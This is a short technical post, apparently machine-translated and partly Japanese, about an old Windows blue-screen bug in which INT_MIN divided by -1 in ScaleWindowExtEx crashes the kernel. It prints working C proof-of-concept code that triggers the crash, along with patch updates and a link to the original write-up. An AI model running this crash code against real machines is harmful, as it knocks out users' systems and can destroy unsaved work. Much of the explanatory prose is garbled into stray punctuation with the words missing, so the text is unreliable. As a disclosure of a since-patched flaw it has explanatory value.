関連項目: Microsoftがブルースクリーンの脆弱性を修正
かつて、友人がWindowsの脆弱性について教えてくれました。 つまり、そのため、 6行のCコードで

理論のビット
無効な命令の場合、プロセッサは例外をスローし、OS自体がその処理を決定します。 これがプログラムのエラーであり、何らかの方法で処理できない場合、システムはプログラムが動作を停止したという既知のメッセージを全員に提供します。
たとえば、このコードのゼロ除算は無効な命令です。
#include <stdio.h> int main() { int a = 2 / 0; printf ("%d", a); return 0; }
, (, warning).
, : .
INT_MIN / -1
— INT_MIN -1.
, INT_MIN=−2,147,483,648=-231, INT_MAX=2,147,483,647=231-1. , : int , , .
, INT_MIN -1 int .
, , :
#include <stdio.h> #include <limits.h> int main() { int a = INT_MIN; int b = -1; int c = a / b; printf ("%d", c); return 0; }
Windows
Windows . - . - , : .
WinAPI , , . — ScaleWindowExtEx. — .
:
BOOL ScaleWindowExtEx( _In_ HDC hdc, _In_ int Xnum, _In_ int Xdenom, _In_ int Ynum, _In_ int Ydenom, _Out_ LPSIZE lpSize );
, , . , — .
Xnum / Xdenom — x.
Ynum / Ydenom — y.
. , (device context) . , , - . , SetLayout.
, CreateCompatibleDC (NULL). SetLayout. ScaleWindowExtEx .
,
INT_MIN -1 . - , .
gdi32.lib Windows:
#include <windows.h> #include <limits.h> int main() { HDC dc = CreateCompatibleDC (NULL); SetLayout (dc, LAYOUT_RTL); ScaleWindowExtEx (dc, INT_MIN, -1, 1, 1, NULL); }
:
#include <windows.h> int main() { HDC dc = CreateCompatibleDC (NULL); SetLayout (dc, LAYOUT_RTL); ScaleWindowExtEx (dc, -2147483647 - 1, -1, 1, 1, NULL); }
INT_MIN -2147483648, , limits.h. , , . - .
Windows Vista, 7 8. 32- , 64- ( 64- ).
P.S. bash, .
UPDATE1: ((int) 0x8000/0x80000000) (-2147483647 — 1), . , AndreyDmitriev alper.
UPDATE2: Microsoft .
UPDATE3: «»: blog.cmpxchg8b.com/2013/02/the-other-integer-overflow.html.